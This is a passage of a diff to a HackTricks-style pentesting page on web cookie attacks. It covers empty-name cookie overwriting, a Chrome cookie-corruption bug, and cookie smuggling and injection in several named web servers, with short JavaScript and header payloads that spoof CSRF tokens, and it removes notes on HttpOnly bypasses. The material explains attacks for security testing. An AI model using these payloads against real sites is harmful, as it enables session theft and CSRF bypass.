+document.cookie = "a=v1" +document.cookie = "=test value;" // empty name +document.cookie = "b=v2" +``` + +This results in the sent cookie header: + +``` +a=v1; test value; b=v2; +``` + +More interestingly, if you have a vector that somehow lets you **set the empty cookie**, you can **control any other cookie**: + +```js +function setCookie(name, value) { + document.cookie = `${name}=${value}`; +} + +setCookie("", "a=b"); // this sets the empty cookie to a=b +``` + +Although internally in the browser, this is set as the empty named cookie, it will result in the **sent cookie header:** + +``` +a=b; +``` + +Meaning, every webserver will parse it as the cookie `a` being set to the value `b`. + +### Chrome Bug - document.cookie corruption + +If a unicode surrogate codepoint is in a set cookie, `document.cookie` will be permanently corrupted and return an empty string. + +```js +document.cookie +// "a=b;" +document.cookie = "\ud800=meep"; +document.cookie +// "" +``` + +### Cookie Smuggling + +Several webservers, including Java webservers Jetty, TomCat, Undertow, and the Python web framework Zope, as well as Python web servers/frameworks like cherrypy, web.py, aiohttp server, bottle, and webob, are found to **incorrectly parse cookie strings** due to leftover support for RFC2965, an outdated cookie quoting mechanism that uses RFC2616 for a quoted-string definition. + +Specifically, **these servers continue reading a cookie string when they encounter a double-quoted (dquoted) cookie value, even if a semicolon is encountered**. This is problematic because **semicolons are supposed to separate key-value** pairs in the cookie string. + +For instance, if a **browser sends three cookies, RENDER\_TEXT, JSESSIONID,** and **ASDF:** + +```basic +RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; +``` + +these servers interpret them as part of a **single cookie value** rather than three separate cookies. + +This leads to a security risk: if an attacker gains cross-site scripting (XSS) access, they can use this bug to **exfiltrate sensitive cookies like HttpOnly cookies**. + +### Cookie Injection + +Many webservers, including Java's Undertow, Python's Zope, and those using Python's stdlib http.cookie.SimpleCookie and http.cookie.BaseCookie, have been found to **incorrectly parse cookies, using wrong delimiters to start the next cookie name/value pair**. This allows an attacker to **spoof multiple cookies while only controlling one cookie value**. + +In **Undertow's** case, it begins parsing the next cookie immediately after the **end of a quoted** cookie value, without waiting for a semicolon: + +```bash +LANGUAGE="en-us" CSRF_TOKEN="SPOOFED_VALUE" +``` + +**Zope** start parsing the next cookie on a **comma**: + +```bash +LANGUAGE=en-us,CSRF_TOKEN=SPOOFED_VALUE +``` + +And **Python's SimpleCookie** and **BaseCookie** immediately start parsing the next cookie on a **space** character: + +``` +LANGUAGE=en-us CSRF_TOKEN=SPOOFED_VALUE +``` + +As a result, servers such as **cherrypy**, **web.py**, **aiohttp** server, **bottle**, and **webob** (Pyramid, TurboGears) are all vulnerable to this type of attack. + +This issue presents significant **security implications**. For instance, if a web application uses **cookie-based CSRF protection**, an attacker can **inject** a spoofed **CSRF-token cookie** to bypass this protection. Additionally, the last duplicate cookie name in Python's http.cookie packages overrides any previous ones, making this type of attack especially easy. + +Furthermore, the **spoofing** of **`__Secure-`** and **`__Host-`** cookies can be abused in an insecure context. Also, in a configuration where cookies are passed onto a backend server, **cookie injection could lead to authorization bypasses** if the backend server is susceptible to spoofing but the frontend server is not. + +### Extra Vulnerable Cookies Checks #### **Basic checks** @@ -115,68 +287,9 @@ Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin". -## Cookies Attributes +## References -### Expires & Max-Age - -* `Expires` sets an expiry date for when a cookie gets deleted -* `Max-age` sets the time in seconds for when a cookie will be deleted **(use this, it’s no longer 2009)** - -### **Domain** - -The `Domain` attribute specifies **which hosts can receive a cookie**. If unspecified, the attribute **defaults** to the **same host** that set the cookie, _**excluding subdomains**_. **If `Domain` is** **specified**, then **subdomains are always included**. Therefore, specifying `Domain` is less restrictive than omitting it. However, it can be helpful when subdomains need to share information about a user. - -For example, if you set `Domain=mozilla.org`, cookies are available on subdomains like `developer.mozilla.org`. But if you don't, the cookie won't be sent to subdomains. - -### **Path** - -The `Path` attribute indicates a **URL path that must exist in the requested URL to send the `Cookie` header**. The `%x2F` ("/") character is considered a directory separator, and subdirectories match as well. - -### SameSite - -This will indicate to the browser if the **cookie** can be sent **from other domains**. It has 3 possible values: - -* **Strict**: The cookie will not be sent along with a request by third party websites. -* **Lax**: The cookie will be sent along with the GET request initiated by third party websites. -* **None**: The cookie is sent from any third party domain - -| **Request Type** | **Example Code** | **Cookies Sent When** | -| ---------------- | ---------------------------------- | --------------------- | -| Link | \\ | NotSet\*, Lax, None | -| Prerender | \ | NotSet\*, Lax, None | -| Form GET | \ | NotSet\*, Lax, None | -| Form POST | \ | NotSet\*, None | -| iframe | \ | NotSet\*, None | -| AJAX | $.get("...") | NotSet\*, None | -| Image | \ | NetSet\*, None | - -Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ -A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed. - -**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.** - -## Cookies Flags - -### HttpOnly - -This avoids the **client** to access the cookie (Via **Javascript** for example: `document.cookie`) - -#### **Bypasses** - -* If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://hackcommander.github.io/pentesting-article-1/)](https://hackcommander.github.io/pentesting-article-1/) -* This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**. - * This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2. -* Another way is the exploitation of zero/day vulnerabilities of the browsers. -* It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack: - -{% content-ref url="cookie-jar-overflow.md" %} -[cookie-jar-overflow.md](cookie-jar-overflow.md) -{% endcontent-ref %} - -### Secure - -The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**). +* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
@@ -185,7 +298,7 @@ The request will **only** send the cookie in an HTTP request only if the request * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).